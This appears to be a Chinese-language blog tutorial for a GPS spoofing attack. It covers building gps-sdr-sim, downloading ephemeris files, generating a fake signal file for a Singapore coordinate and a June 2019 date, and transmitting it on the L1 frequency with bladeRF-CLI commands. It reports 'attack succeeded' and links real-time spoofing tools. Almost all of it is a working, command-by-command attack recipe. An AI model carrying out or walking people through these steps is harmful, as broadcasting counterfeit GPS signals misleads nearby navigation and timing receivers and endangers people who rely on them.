1 安装gps-sdr-sim工具
1.1 Windows安装
(1) 从Github下载getopt.c,getopt.h,gpssim.c,gpssim.h文件
(2) 启动visual studio 软件
(3) 创建空的控制台应用程序
(4) 在项目文件夹中将上述四个文件添加到visual studio解决方案资源管理器中,在解决方案配置中选择Release
(5) 点击生成解决方案可执行文件gps-sdr-sim.exe
(6) 找到gps-sdr-sim.exe所在路径,在命令行中打开该路径。
输入gps-sdr-sim出现上述,安装成功。
1.2 Linux下安装
直接用gcc编译
gcc gpssim.c -lm -O3 -o gps-sdr-sim
1.3 下载星历文件
星历文件下载地址,需要注册。星历文件包含了历史上卫星的时间和位置信息,做gps时间欺骗攻击可以选择过去某一时间的星历文件。
从2019年brdc目录中选择第170天(6月19日,没有疫情的日子真好)的星历数据,下载下来
将该文件解压后放入到gps-sdr-sim.exe目录中。
1.4 寻找欺骗坐标位置
从谷歌地图中随便选择一个坐标位置,记下经纬度。
在这里插入图片描述
1.378898,103.807031
1.5 生成gpssim.bin文件
gps-sdr-sim -e brdc1700.19g -l 1.378898,103.807031,100
2 安装Bladerf-CLI
详细安装教程在官方文档
https://www.nuand.com/bladeRF-doc/guides/bladeRF_windows_installer.html
安装时不要插入板子,安装成功后插入板子,出现下面的界面说明安装成功。
3 静态GPS攻击
静态GPS攻击是通过制定欺骗时间和位置来对当前的GPS信号进行攻击,如我们定位的是1.378898N,103.807031E,地址位于新加坡,时间是2019年6月19日。下面的操作都是在Bladerf-CLI中进行的。
1.设置Bladerf基本参数
set frequency tx1 1575.42M
set samplerate tx1 2.6M
set bandwidth tx1 2.5M
2.星历和坐标信息发送到bladerf
将1.5生成的gpssim.bin文件添加到file路径
tx config file=gpssim.bin format=bin channel=1
3.发送、等待和停止
tx start
tx wait
tx stop
4 结果
攻击成功。
5. 实时攻击
安装教程在这儿
https://github.com/osqzss/bladeGPS
6. 与Matlab联合
安装教程在这儿
https://github.com/kaysin/bladeRF-matlab
参考资料
1.http://t.zoukankan.com/k1two2-p-5164172.html
2.https://github.com/Nuand/bladeRF/wiki#Getting_Started
3.https://github.com/osqzss/gps-sdr-sim